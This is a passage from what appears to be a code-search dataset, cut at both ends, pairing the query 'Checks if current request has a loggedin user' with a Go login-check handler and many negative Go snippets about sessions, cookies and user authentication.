http.ResponseWriter, req *http.Request) {\\n\\ttokenID := req.Context().Value(\\\"tokenID\\\").(string)\\n\\tresponse := make(map[string]interface{})\\n\\tmsg := constants.Logout\\n\\t_, err := connectors.RemoveDocument(\\\"tokens\\\", tokenID)\\n\\tif err != nil {\\n\\t\\trender.Render(res, req, responses.NewHTTPError(http.StatusServiceUnavailable, constants.Unavailable))\\n\\t\\treturn\\n\\t}\\n\\tresponse[\\\"message\\\"] = msg\\n\\trender.Render(res, req, responses.NewHTTPSucess(http.StatusOK, response))\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.7621809","0.7597498","0.75334835","0.74495035","0.73430395","0.73402953","0.7336621","0.7335993","0.7319787","0.7312112","0.72963846","0.72885925","0.72867733","0.7281128","0.7269449","0.72675014","0.72644854","0.7250693","0.723343","0.720153","0.71830904","0.7171268","0.715925","0.7158903","0.71376103","0.71309906","0.7093276","0.70898765","0.70822585","0.70497566","0.7034209","0.7008961","0.69696206","0.6956235","0.69550186","0.69161403","0.69154","0.6909926","0.6903328","0.68721277","0.6866705","0.68647385","0.68389666","0.6836842","0.6829168","0.68233544","0.682296","0.6813281","0.67942643","0.6787504","0.677414","0.6739498","0.6734543","0.6734543","0.672917","0.6715124","0.6701056","0.669499","0.668325","0.66682297","0.66423184","0.6632589","0.6622501","0.6621557","0.6618353","0.6605502","0.65819937","0.6581875","0.6577295","0.657595","0.65653133","0.6532207","0.6527151","0.6523963","0.6521934","0.65212","0.6516749","0.651357","0.65064263","0.6503313","0.6495912","0.64912987","0.64846766","0.64838403","0.64724886","0.64632946","0.64504105","0.6447254","0.6444675","0.6435525","0.64255","0.64250296","0.64233667","0.64000213","0.6391144","0.639089","0.6389307","0.6382361","0.63619393","0.6361484"],"string":"[\n \"0.7621809\",\n \"0.7597498\",\n \"0.75334835\",\n \"0.74495035\",\n \"0.73430395\",\n \"0.73402953\",\n \"0.7336621\",\n \"0.7335993\",\n \"0.7319787\",\n \"0.7312112\",\n \"0.72963846\",\n \"0.72885925\",\n \"0.72867733\",\n \"0.7281128\",\n \"0.7269449\",\n \"0.72675014\",\n \"0.72644854\",\n \"0.7250693\",\n \"0.723343\",\n \"0.720153\",\n \"0.71830904\",\n \"0.7171268\",\n \"0.715925\",\n \"0.7158903\",\n \"0.71376103\",\n \"0.71309906\",\n \"0.7093276\",\n \"0.70898765\",\n \"0.70822585\",\n \"0.70497566\",\n \"0.7034209\",\n \"0.7008961\",\n \"0.69696206\",\n \"0.6956235\",\n \"0.69550186\",\n \"0.69161403\",\n \"0.69154\",\n \"0.6909926\",\n \"0.6903328\",\n \"0.68721277\",\n \"0.6866705\",\n \"0.68647385\",\n \"0.68389666\",\n \"0.6836842\",\n \"0.6829168\",\n \"0.68233544\",\n \"0.682296\",\n \"0.6813281\",\n \"0.67942643\",\n \"0.6787504\",\n \"0.677414\",\n \"0.6739498\",\n \"0.6734543\",\n \"0.6734543\",\n \"0.672917\",\n \"0.6715124\",\n \"0.6701056\",\n \"0.669499\",\n \"0.668325\",\n \"0.66682297\",\n \"0.66423184\",\n \"0.6632589\",\n \"0.6622501\",\n \"0.6621557\",\n \"0.6618353\",\n \"0.6605502\",\n \"0.65819937\",\n \"0.6581875\",\n \"0.6577295\",\n \"0.657595\",\n \"0.65653133\",\n \"0.6532207\",\n \"0.6527151\",\n \"0.6523963\",\n \"0.6521934\",\n \"0.65212\",\n \"0.6516749\",\n \"0.651357\",\n \"0.65064263\",\n \"0.6503313\",\n \"0.6495912\",\n \"0.64912987\",\n \"0.64846766\",\n \"0.64838403\",\n \"0.64724886\",\n \"0.64632946\",\n \"0.64504105\",\n \"0.6447254\",\n \"0.6444675\",\n \"0.6435525\",\n \"0.64255\",\n \"0.64250296\",\n \"0.64233667\",\n \"0.64000213\",\n \"0.6391144\",\n \"0.639089\",\n \"0.6389307\",\n \"0.6382361\",\n \"0.63619393\",\n \"0.6361484\"\n]"},"document_score":{"kind":"string","value":"0.71338147"},"document_rank":{"kind":"string","value":"25"}}},{"rowIdx":106136,"cells":{"query":{"kind":"string","value":"Checks if current request has a loggedin user"},"document":{"kind":"string","value":"func isloggedin(ctx context.Context) error {\n\tuser, ok := controllers.IsLoggedIn(ctx)\n\tif ok {\n\t\tsession, _ := core.GetSession(ctx.HttpRequest())\n\t\tuserInfo := struct {\n\t\t\tSessionID string `json:\"sessionid\"`\n\t\t\tId string `json:\"id\"`\n\t\t\tName string `json:\"name\"`\n\t\t\tEmail string `json:\"email\"`\n\t\t\tApiToken string `json:\"apitoken\"`\n\t\t}{\n\t\t\tSessionID: session.ID,\n\t\t\tId: user.Id.Hex(),\n\t\t\tName: user.Name,\n\t\t\tEmail: user.Email,\n\t\t\tApiToken: user.Person.ApiToken,\n\t\t}\n\t\tdata, err := json.Marshal(userInfo)\n\t\tif err != nil {\n\t\t\tlog.Error(\"Unable to marshal: \", err)\n\t\t\treturn goweb.Respond.WithStatus(ctx, http.StatusInternalServerError)\n\t\t}\n\t\tctx.HttpResponseWriter().Header().Set(\"Content-Type\", \"application/json\")\n\t\treturn goweb.Respond.With(ctx, http.StatusOK, data)\n\t}\n\treturn goweb.Respond.WithStatus(ctx, http.StatusUnauthorized)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func isLoggedIn(req *http.Request) bool {\n\tloginCookie, err := req.Cookie(\"loginCookie\")\n\tif err != nil {\n\t\treturn false\n\t}\n\tusername := mapSessions[loginCookie.Value]\n\t_, ok := mapUsers[username]\n\treturn ok\n}","func IsLoggedIn(r *http.Request) bool {\n\tsession, err := loggedUserSession.Get(r, \"authenticated-user-session\")\n\tif err != nil || session.Values[\"username\"] != \"admin\" {\n\t\treturn false\n\t}\n\treturn true\n}","func IsLoggedIn(r *http.Request) (bool, error) {\n\tsession, err := getSession(r)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tt := session.Values[\"accessToken\"]\n\tif t == nil {\n\t\treturn false, nil\n\t}\n\tstoredToken, ok := t.(string)\n\tif !ok {\n\t\treturn false, fmt.Errorf(\"bad type of %q value in session: %v\", \"accessToken\", err)\n\t}\n\tgp := session.Values[\"gplusID\"]\n\tif t == nil {\n\t\treturn false, nil\n\t}\n\tgplusId, ok := gp.(string)\n\tif !ok {\n\t\treturn false, fmt.Errorf(\"bad type of %q value in session: %v\", \"gplusID\", err)\n\t}\n\treturn storedToken != \"\" && isAllowed(gplusId), nil\n}","func IsAuthenticated(r *http.Request) bool {\n\texists := app.Session.Exists(r.Context(), \"user_id\")\n\treturn exists\n}","func isAuthSession(r *http.Request, w http.ResponseWriter) bool {\n\tloggedIn, loggedInMat := loggedIn(r)\n\tloggedInUser, err := user.FromMatrikel(loggedInMat)\n\n\tif !loggedIn || loggedInUser.Usertype == user.STUDENT || err != nil {\n\t\treturn false\n\t}\n\treturn true\n}","func AlreadyLoggedIn(w http.ResponseWriter, r *http.Request) bool {\n\tcookie, err := r.Cookie(\"session\")\n\tif err != nil {\n\t\treturn false\n\t}\n\ts := gs.sessions[cookie.Value]\n\t_, ok := gs.users[s.userName]\n\treturn ok\n}","func (p *hcAutonomywww) isLoggedIn(f http.HandlerFunc) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tlog.Debugf(\"isLoggedIn: %v %v %v %v\", remoteAddr(r), r.Method,\n\t\t\tr.URL, r.Proto)\n\n\t\temail, err := p.getSessionEmail(r)\n\t\tif err != nil {\n\t\t\tutil.RespondWithJSON(w, http.StatusUnauthorized, v1.ErrorReply{\n\t\t\t\tErrorCode: int64(v1.ErrorStatusNotLoggedIn),\n\t\t\t})\n\t\t\treturn\n\t\t}\n\n\t\t// Check if user is authenticated\n\t\tif email == \"\" {\n\t\t\tutil.RespondWithJSON(w, http.StatusUnauthorized, v1.ErrorReply{\n\t\t\t\tErrorCode: int64(v1.ErrorStatusNotLoggedIn),\n\t\t\t})\n\t\t\treturn\n\t\t}\n\n\t\tf(w, r)\n\t}\n}","func IsLoggedIn(w http.ResponseWriter, r *http.Request) {\n\tsession, err := Store.Get(r, \"session\")\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\tif session.Values[\"loggedin\"] == \"true\" {\n\t\t_, _ = w.Write([]byte(\"true\"))\n\t\treturn\n\t}\n\t_, _ = w.Write([]byte(\"false\"))\n\treturn\n}","func (client *Client) IsLoggedIn() bool {\n\treturn len(client.currentUser) > 0\n}","func IsUserAuthenticated(r *http.Request) bool {\n\tval := r.Context().Value(authUserAuthenticatedKey)\n\tswitch val.(type) {\n\tcase bool:\n\t\treturn val.(bool)\n\tdefault:\n\t\treturn false\n\t}\n}","func AlreadyLoggedIn(r *http.Request) bool {\n\tc, err := r.Cookie(COOKIE_NAME)\n\tif err != nil {\n\t\treturn false\n\t}\n\tsess, _ := sessionStore.data[c.Value]\n\tif sess.Username != \"\" {\n\t\treturn true\n\t}\n\treturn false\n}","func isAuthenticated(req *http.Request) bool {\n\tif _, err := sessionStore.Get(req, sessionName); err == nil {\n\t\treturn true\n\t}\n\treturn false\n}","func (netgear *Netgear) IsLoggedIn() bool {\n return netgear.loggedIn\n}","func IsAuthenticated(r *http.Request) bool {\n\tsession, err := app.Store.Get(r, \"auth-session\")\n\tif err != nil {\n\t\toptions := sessions.Options{MaxAge: -1}\n\t\tsessions.NewCookie(\"auth-session\", \"_\", &options)\n\t\tlog.Println(err)\n\t\treturn false\n\t}\n\n\t_, ok := session.Values[\"profile\"]\n\treturn ok\n}","func (err *UnauthorizedError) isLoggedIn() bool {\n\treturn err.SessionId != 0 // SessionId is 0 for non-logged in users\n}","func (c *ProfileController) isProfileLoggedIn() bool {\n\treturn c.getCurrentProfileID() != \"\"\n}","func isAuthorized(w http.ResponseWriter, r *http.Request) bool {\n\tusername, err := r.Cookie(\"username\")\n\tif err == nil {\n\t\tsessionID, err := r.Cookie(\"sessionID\")\n\t\tif err == nil {\n\t\t\tif sessionID.Value != \"\" && gostuff.SessionManager[username.Value] == sessionID.Value {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\tgostuff.Show404Page(w, r)\n\treturn false\n}","func (ig *Instagram) IsLoggedIn() bool {\n\treturn ig.LoggedIn\n}","func userHasAccess(authCtx *authz.Context, req interface{ GetUsername() string }) bool {\n\treturn !authz.IsCurrentUser(*authCtx, req.GetUsername()) && !authz.HasBuiltinRole(*authCtx, string(types.RoleAdmin))\n}","func IsAuthenticated(r *http.Request) *Session {\n\tkey := getSession(r)\n\n\tif strings.HasPrefix(key, \"nouser:\") {\n\t\treturn nil\n\t}\n\n\ts := getSessionByKey(key)\n\tif isValidSession(r, s) {\n\t\treturn s\n\t}\n\treturn nil\n}","func (c *UCSClient) IsLoggedIn() bool {\n\treturn len(c.cookie) > 0\n}","func RequestIsAuth(r * http.Request) bool {\n\tif r.FormValue(\"username\") != \"\" && r.FormValue(\"key\") != \"\" {\n\t\tuser := UserForName(r.FormValue(\"username\"))\n\t\tif IsUser(user) {\n\t\t\tfor i := 0 ; i < len(Keys); i++ {\n\t\t\t\tif Keys[i].User == user.ID && Keys[i].Key == r.FormValue(\"key\") {\n\t\t\t\t\ttimeNow := time.Now()\n\t\t\t\t\tif timeNow.After(Keys[i].StartTime) && timeNow.Before(Keys[i].EndTime) {\n\t\t\t\t\t\treturn true\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn false\n}","func checkLoggedIn(w http.ResponseWriter, r *http.Request) (*ReqBody, error) {\n\t// get token from request header\n\tReqBody, err := getTknFromReq(r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// check if the token is valid or not\n\t// if valid return the user currently logged in\n\tuser := verifyToken(ReqBody.Token)\n\tReqBody.UserDB = user\n\tlog.Println(\"checklogged in\", ReqBody)\n\treturn ReqBody, nil\n}","func isAuthenticated(r *http.Request) bool {\n\ts, _ := Store.Get(r, \"sessid\")\n\tval, ok := s.Values[\"authenticated\"].(bool)\n\treturn ok && val\n}","func (o *Content) HasRunAsCurrentUser() bool {\n\tif o != nil && o.RunAsCurrentUser != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}","func CheckIfAuthenticated(uuid string) bool {\n\t// Make sure a session exists for the extracted UUID\n\t_, sessionFound := sessions[uuid]\n\treturn sessionFound\n}","func hasUserSession(userID uuid.UUID) bool {\n\t_, ok := userCache[userID]\n\treturn ok\n}","func IsUserPresent(ctx context.Context) bool {\n\tuserIdentity := ctx.Value(UserIdentityKey)\n\treturn userIdentity != nil && userIdentity != \"\"\n\n}","func (u *AuthUser) IsAuthenticated() bool {\n\treturn u.id != 0\n}","func (app *application) isAuthenticated(r *http.Request) bool {\n\tisAuthenticated, ok := r.Context().Value(contextKeyIsAuthenticated).(bool)\n\tif !ok {\n\t\treturn false\n\t}\n\n\treturn isAuthenticated\n}","func (b *OGame) IsLoggedIn() bool {\n\treturn atomic.LoadInt32(&b.isLoggedInAtom) == 1\n}","func (u User) IsAuthenticated() bool {\n\treturn u.Email != \"\"\n}","func CurrentUser(c *gin.Context) {\n\tsession := sessions.Default(c)\n\tuserID := session.Get(\"userID\")\n\tif userID == nil {\n\t\tc.JSON(http.StatusOK, gin.H{\n\t\t\t\"msg\": \"User not logged in.\",\n\t\t\t\"err\": \"User ID not in session.\",\n\t\t})\n\t} else {\n\t\tc.JSON(http.StatusOK, gin.H{\n\t\t\t\"msg\": session.Get(\"Username\"),\n\t\t\t\"err\": \"\",\n\t\t})\n\t}\n}","func (i *IssuesService) IsAuthUserWatching(owner, repoSlug string, id int64) (bool, *simpleresty.Response, error) {\n\turlStr := i.client.http.RequestURL(\"/repositories/%s/%s/issues/%v/watch\", owner, repoSlug, id)\n\tresponse, err := i.client.http.Get(urlStr, nil, nil)\n\n\thasVoted := false\n\tif response.StatusCode == 204 {\n\t\thasVoted = true\n\t}\n\n\treturn hasVoted, response, err\n}","func (i *IssuesService) IsAuthUserWatching(owner, repoSlug string, id int64) (bool, *Response, error) {\n\turlStr := i.client.requestURL(\"/repositories/%s/%s/issues/%v/watch\", owner, repoSlug, id)\n\tresponse, err := i.client.execute(\"GET\", urlStr, nil, nil)\n\n\thasVoted := false\n\tif response.StatusCode == 204 {\n\t\thasVoted = true\n\t}\n\n\treturn hasVoted, response, err\n}","func verifyLoggedIn(resp *http.Response) bool {\n\tif resp.Request != nil && resp.Request.URL != nil {\n\t\treturn strings.HasPrefix(resp.Request.URL.String(), loggedinURLPrefix)\n\t}\n\treturn false\n}","func GetUserFromSession(user *models.User, sess session.SessionStore) bool {\n\tid := GetUserIdFromSession(sess)\n\tif id > 0 {\n\t\tu := models.User{Id: id}\n\t\tif u.Read() == nil {\n\t\t\t*user = u\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}","func IsAuthed(user *db.User) bool {\n\treturn user != nil && !user.Empty && user.ID != 0\n}","func reqIsAdmin(r *http.Request) bool {\n\tu, err := GetCurrent(r)\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn u.Admin\n}","func (i *interactor) CurrentUserIsAdmin(ctx context.Context) bool {\n\tuserID, err := i.CurrentUserID(ctx)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\treturn userID == \"admin\"\n}","func IsLogIn(h httprouter.Handle) httprouter.Handle {\n\treturn func(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {\n\n\t\tcookie, err := r.Cookie(\"kRtrima\") //Grab the cookie from the header\n\t\tif err != nil {\n\t\t\tswitch err {\n\t\t\tcase http.ErrNoCookie:\n\t\t\t\tLogger.Println(\"No Cookie was Found with Name kRtrima\")\n\t\t\t\th(w, r, ps)\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\tLogger.Println(\"No Cookie was Found with Name kRtrima\")\n\t\t\t\th(w, r, ps)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tLogger.Println(\"Cookie was Found with Name kRtrima\")\n\n\t\t// Create a BSON ObjectID by passing string to ObjectIDFromHex() method\n\t\tdocID, err := primitive.ObjectIDFromHex(cookie.Value)\n\t\tif err != nil {\n\t\t\tLogger.Printf(\"Cannot Convert %T type to object id\", cookie.Value)\n\t\t\tLogger.Println(err)\n\t\t\th(w, r, ps)\n\t\t\treturn\n\t\t}\n\n\t\tvar SP m.Session\n\t\tif err = m.Sessions.Find(\"_id\", docID, &SP); err != nil {\n\t\t\tLogger.Println(\"Cannot found a valid User Session!!\")\n\t\t\th(w, r, ps)\n\t\t\treturn\n\t\t\t//session is missing, returns with error code 403 Unauthorized\n\t\t}\n\n\t\tLogger.Println(\"Valid User Session was Found!!\")\n\n\t\tvar UP m.LogInUser\n\n\t\terr = m.Users.Find(\"salt\", SP.Salt, &UP)\n\t\tif err != nil {\n\t\t\tLogger.Println(\"Cannot Find user with salt\")\n\t\t\th(w, r, ps)\n\t\t\treturn\n\t\t}\n\n\t\tvar LIP m.LogInUser\n\n\t\terr = m.GetLogInUser(\"User\", &LIP, r)\n\t\tif err != nil {\n\t\t\tm.AddToHeader(\"User\", UP, r)\n\t\t\th(w, r, ps)\n\t\t\treturn\n\t\t} else if UP.Email != LIP.Email {\n\t\t\t//remove the user ID from the session\n\t\t\tr.Header.Del(\"User\")\n\t\t\tm.AddToHeader(\"User\", UP, r)\n\t\t\th(w, r, ps)\n\t\t\treturn\n\t\t}\n\n\t\th(w, r, ps)\n\t}\n}","func (u *AnonUser) IsAuthenticated() bool {\n\treturn false\n}","func (ctx *TestContext) ThereIsAUser(name string) error {\n\treturn ctx.ThereIsAUserWith(getParameterString(map[string]string{\n\t\t\"group_id\": name,\n\t\t\"user\": name,\n\t}))\n}","func getLoggedIn(r *http.Request) users.User {\n\tc, err := r.Cookie(userCookieName)\n\tif err != nil {\n\t\treturn users.User{}\n\t}\n\treturn users.GetUser(c.Value)\n}","func authorizator(data interface{}, c *gin.Context) bool {\n\tif _, ok := data.(*models.User); ok {\n\t\treturn true\n\t}\n\n\treturn false\n}","func IsUserRequestCtx(ctx context.Context) bool {\n\treturn ctxutils.IsAPIGwCtx(ctx)\n}","func (ctx *RequestContext) IsAuthenticated() bool {\n\treturn ctx.principal != nil\n}","func requireLogin(rw http.ResponseWriter, req *http.Request, app *App) bool {\n\tses, _ := app.SessionStore.Get(req, SessionName)\n\tvar err error\n\tvar id int64\n\tif val := ses.Values[\"userId\"]; val != nil {\n\t\tid = val.(int64)\n\t}\n\n\tif err == nil {\n\t\t_, err = models.UserById(app.Db, id)\n\t}\n\n\tif err != nil {\n\t\thttp.Redirect(rw, req, app.Config.General.Prefix+\"/login\", http.StatusSeeOther)\n\t\treturn true\n\t}\n\treturn false\n}","func CurrentUserAsRequested(repo *repositories.UsersRepository, responseService responses.ResponseHandler) gin.HandlerFunc {\n\treturn func(ctx *gin.Context) {\n\t\tuser, ok := ctx.Get(\"_user\")\n\t\tif !ok {\n\t\t\t// Returns a \"400 StatusBadRequest\" response\n\t\t\tresponseService.Error(ctx, responses.CannotFindUserByAccessToken, \"Can't find user.\")\n\t\t\treturn\n\t\t}\n\n\t\tfoundUser, err := repo.FindByUID(user.(*userpb.User).UID)\n\t\tif err != nil {\n\t\t\tresponseService.NotFound(ctx)\n\t\t\tctx.Abort()\n\t\t\treturn\n\t\t}\n\t\tctx.Set(\"_requested_user\", foundUser)\n\t}\n}","func isAuthenticated(w http.ResponseWriter, r *http.Request) {\n\tisLoggedIn := isLoggedIn(r)\n\n\tresp := map[string]interface{}{\n\t\t\"success\": isLoggedIn,\n\t}\n\tapiResponse(resp, w)\n}","func EnsureLoggedIn(c *gin.Context) bool {\n\tgeneral := c.GetStringMapString(\"general\")\n\n\tif general[\"isloggedin\"] != \"true\" {\n\t\tSendHTML(http.StatusForbidden, c, \"blocked\", nil)\n\t\treturn false\n\t}\n\n\treturn true\n}","func UserIsAdmin(r *http.Request) bool {\n\tval := r.Context().Value(request.CtxAccess)\n\tif val == nil {\n\t\treturn false\n\t}\n\n\tua := val.(*UserAccess)\n\treturn ua.Admin\n}","func (u User) IsAnonymous() bool { return u == \"\" }","func AuthorizedUser(c *gin.Context) {\n\tvar u *models.User\n\tuser := CurrentUser(c)\n\n\tif (user == u) || (user == nil) {\n\t\tc.Redirect(http.StatusMovedPermanently, helpers.LoginPath())\n\t}\n}","func (u *User) IsUser() bool {\n\treturn u.UserGroupID == USER\n}","func isAuthorizedNo404(w http.ResponseWriter, r *http.Request) bool {\n\tusername, err := r.Cookie(\"username\")\n\tif err == nil {\n\t\tsessionID, err := r.Cookie(\"sessionID\")\n\t\tif err == nil {\n\t\t\tif sessionID.Value != \"\" && gostuff.SessionManager[username.Value] == sessionID.Value {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\treturn false\n}","func (env *Env) currentUser(r *http.Request) (*models.User, error) {\n\ts, err := env.session(r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif s.UserID == 0 {\n\t\treturn nil, errors.New(\"user not logged in\")\n\t}\n\n\treturn env.db.GetUser(s.UserID)\n}","func checkMe(r *http.Request) (*User, error) {\n\treturn getUserFromCookie(r)\n}","func IsAuthorised(ctx context.Context, r *http.Request) bool {\n\trequestAuthorised := r.Header.Get(constant.HeaderAuthorised)\n\tlogger.Debugf(ctx, \"security util\", \"checking if request has been authorised, authorised %s\", requestAuthorised)\n\n\tif requestAuthorised != \"\" && requestAuthorised == \"true\" {\n\t\tlogger.Debugf(ctx, \"security util\", \"request contains authorization information, authorised %s\", requestAuthorised)\n\t\treturn true\n\t}\n\n\tlogger.Debugf(ctx, \"security util\", \"request not authorised\")\n\treturn false\n}","func UserHasPermission(r *http.Request, project string) bool {\n\tval := r.Context().Value(request.CtxAccess)\n\tif val == nil {\n\t\treturn false\n\t}\n\n\tua := val.(*UserAccess)\n\tif ua.Admin {\n\t\treturn true\n\t}\n\n\treturn shared.StringInSlice(project, ua.Projects)\n}","func (p *hcAutonomywww) isLoggedInAsAdmin(f http.HandlerFunc) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tlog.Debugf(\"isLoggedInAsAdmin: %v %v %v %v\", remoteAddr(r),\n\t\t\tr.Method, r.URL, r.Proto)\n\n\t\t// Check if user is admin\n\t\tisAdmin, err := p.isAdmin(w, r)\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"isLoggedInAsAdmin: isAdmin %v\", err)\n\t\t\tutil.RespondWithJSON(w, http.StatusUnauthorized, v1.ErrorReply{\n\t\t\t\tErrorCode: int64(v1.ErrorStatusNotLoggedIn),\n\t\t\t})\n\t\t\treturn\n\t\t}\n\t\tif !isAdmin {\n\t\t\tutil.RespondWithJSON(w, http.StatusForbidden, v1.ErrorReply{})\n\t\t\treturn\n\t\t}\n\n\t\tf(w, r)\n\t}\n}","func isAdmin(res http.ResponseWriter, req *http.Request) bool {\n\tmyUser := getUser(res, req)\n\treturn myUser.Username == \"admin\"\n}","func NotLoggedIn(cmd *cli.Cmd) bool {\n\tenv := cmd.Env.(config.TravisCommandConfig)\n\n\tsuccess := len(env.Token) != 0\n\tif success {\n\t\tuser, err := CurrentUser(cmd.Env.(config.TravisCommandConfig).Client)\n\t\tsuccess = err == nil && user.Name != \"\"\n\t}\n\tif !success {\n\t\tcmd.Stderr.Printf(\"You need to be logged in to do this. For this please run %s login.\\n\", cmd.Args.ProgramName())\n\t\treturn true\n\t}\n\treturn false\n}","func IsAuthenticated(r *http.Request) bool {\n\t//todo write logic here\n\treturn true\n}","func IsSession(r *http.Request) bool {\n\tval := r.Context().Value(authSessionActiveKey)\n\tswitch val.(type) {\n\tcase bool:\n\t\treturn val.(bool)\n\tdefault:\n\t\treturn false\n\t}\n}","func (user User) IsAnon() bool {\n\treturn user.ID == UserAnon\n}","func IsLegalUser(Auth string) (bool, User) {\n\n\tvar Answer bool\n\tvar currentToken Token\n\tvar currentUser User\n\n\ttoken := strings.Replace(Auth, \"Bearer \", \"\", -1)\n\t// var blankid uuid.UUID\n\tDb.Where(\"token = ?\", token).Last(&currentToken)\n\tif currentToken.Token != \"\" {\n\n\t\tif currentToken.Expired.After(time.Now()) {\n\n\t\t\tDb.Where(\"id = ?\", currentToken.UserID).Last(&currentUser)\n\n\t\t\tif currentUser.Name != \"\" {\n\t\t\t\tAnswer = true\n\t\t\t} else {\n\t\t\t\tAnswer = false\n\t\t\t}\n\t\t}\n\n\t}\n\n\treturn Answer, currentUser\n\n}","func (authentication *Authentication) IsLogin(res http.ResponseWriter, req *http.Request) bool {\n\tsessionID, sessionIDState := cookies.GetCookie(req, \"session\")\n\tif !sessionIDState {\n\t\treturn false\n\t}\n\tsession, sessionState := authentication.userSession[sessionID.Value]\n\tif sessionState {\n\t\tsession.lastActivity = time.Now()\n\t\tauthentication.userSession[sessionID.Value] = session\n\t}\n\t_, userState := authentication.loginUser[session.email]\n\tsessionID.Path = \"/\"\n\tsessionID.MaxAge = sessionExistTime\n\thttp.SetCookie(res, sessionID)\n\treturn userState\n}","func (o *ActionDTO) HasUserIdentity() bool {\n\tif o != nil && o.UserIdentity != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}","func CurrentUser(c *gin.Context) *models.User {\n\tvar user models.User\n\tsession := sessions.Default(c)\n\tcurrentUserID := session.Get(\"user_id\")\n\n\tif currentUserID == nil {\n\t\treturn nil\n\t} else if err := config.DB.First(&user, currentUserID).Error; err != nil {\n\t\treturn nil\n\t}\n\n\treturn &user\n}","func (srv *userService) CheckLogin(session string) bool {\n\tvar User model.User\n\n\tif conf.Development() {\n\t\tCurrentUser = User.GetFirst()\t\n\t\treturn true\n\t}\n\t\n\tCurrentUser = User.GetUserByThirdSession(session)\n\tif CurrentUser == nil {\n\t\treturn false\n\t}\n\n\treturn CurrentUser.CacheSessionVal() != \"\"\n}","func hasAccess(rc *router.Context, next router.Handler) {\n\tc := rc.Context\n\tisMember, err := auth.IsMember(c, config.Get(c).AccessGroup)\n\tif err != nil {\n\t\tutil.ErrStatus(rc, http.StatusInternalServerError, err.Error())\n\t\treturn\n\t} else if !isMember {\n\t\turl, err := auth.LoginURL(c, rc.Request.URL.RequestURI())\n\t\tif err != nil {\n\t\t\tutil.ErrStatus(\n\t\t\t\trc, http.StatusForbidden,\n\t\t\t\t\"Access denied err:\"+err.Error())\n\t\t\treturn\n\t\t}\n\t\thttp.Redirect(rc.Writer, rc.Request, url, http.StatusFound)\n\t\treturn\n\t}\n\n\tnext(rc)\n}","func IsLogged(token string) bool {\n\tif v, ok := tokenList[token]; ok == true {\n\t\tuser, _ := userList[v]\n\t\tif user.expired() {\n\t\t\treturn false\n\t\t}\n\t\tuser.update()\n\t\treturn true\n\t}\n\treturn false\n}","func HasUserSession(userID uuid.UUID) bool {\n\tdefer mutex.Unlock()\n\tmutex.Lock()\n\n\treturn hasUserSession(userID)\n}","func (this *managerStruct) UserExists(name string) bool {\n\tthis.mutex.RLock()\n\tid := this.getUserId(name)\n\tthis.mutex.RUnlock()\n\texists := id >= 0\n\treturn exists\n}","func (db *gjDatabase) hasUser() bool {\n\treturn len(db.getAllUsers()) > 0\n}","func (p *Player) IsCurrentUser(cu *User) bool {\n\tif p == nil {\n\t\treturn false\n\t}\n\treturn p.User().Equal(cu)\n}","func IsOwner(next buffalo.Handler) buffalo.Handler {\n\treturn func(c buffalo.Context) error {\n\t\t// Session().Get() returns interface, so we cast to string.\n\t\tif uid := c.Session().Get(\"current_user_id\"); uid != nil {\n\t\t\tpathUserID := c.Param(\"user_id\")\n\t\t\tif pathUserID != fmt.Sprintf(\"%s\", uid) {\n\t\t\t\tc.Flash().Add(\"success\", \"You do not have access to that user.\")\n\t\t\t\treturn c.Redirect(302, \"/\")\n\t\t\t}\n\t\t}\n\t\treturn next(c)\n\t}\n}","func (a *Auth) HasToBeAuth(next http.HandlerFunc) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tuserPayload := user.PayloadFromContext(r.Context())\n\n\t\tif userPayload == nil {\n\t\t\tflash.Add(\"/login\", w, r, notAuthErrorMessage)\n\n\t\t\treturn\n\t\t}\n\n\t\tnext(w, r)\n\t}\n}","func (o *Authorization) HasUser() bool {\n\tif o != nil && o.User != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}","func isAllowedUser(request admissionctl.Request) bool {\n\tif utils.SliceContains(request.UserInfo.Username, allowedUsers) {\n\t\treturn true\n\t}\n\n\tfor _, group := range sreAdminGroups {\n\t\tif utils.SliceContains(group, request.UserInfo.Groups) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}","func requireLogin(c *fiber.Ctx) error {\n\tcurrSession, err := sessionStore.Get(c)\n\tif err != nil {\n\t\treturn err\n\t}\n\tuser := currSession.Get(\"User\")\n\tdefer currSession.Save()\n\n\tif user == nil {\n\t\t// This request is from a user that is not logged in.\n\t\t// Send them to the login page.\n\t\treturn c.Redirect(\"/login\")\n\t}\n\n\t// If we got this far, the request is from a logged-in user.\n\t// Continue on to other middleware or routes.\n\treturn c.Next()\n}","func (a Anonymous) Authenticated() bool { return false }","func CheckLoginStatus(w http.ResponseWriter, r *http.Request) (bool,interface{}){\n\tsess := globalSessions.SessionStart(w,r)\n\tsess_uid := sess.Get(\"UserID\")\n\tif sess_uid == nil {\n\t\treturn false,\"\"\n\t} else {\n\t\tuID := sess_uid\n\t\tname := sess.Get(\"username\")\n\t\tfmt.Println(\"Logged in User, \", uID)\n\t\t//Tpl.ExecuteTemplate(w, \"user\", nil)\n\t\treturn true,name\n\t}\n}","func (o *AccessRequestData) HasUserId() bool {\n\tif o != nil && 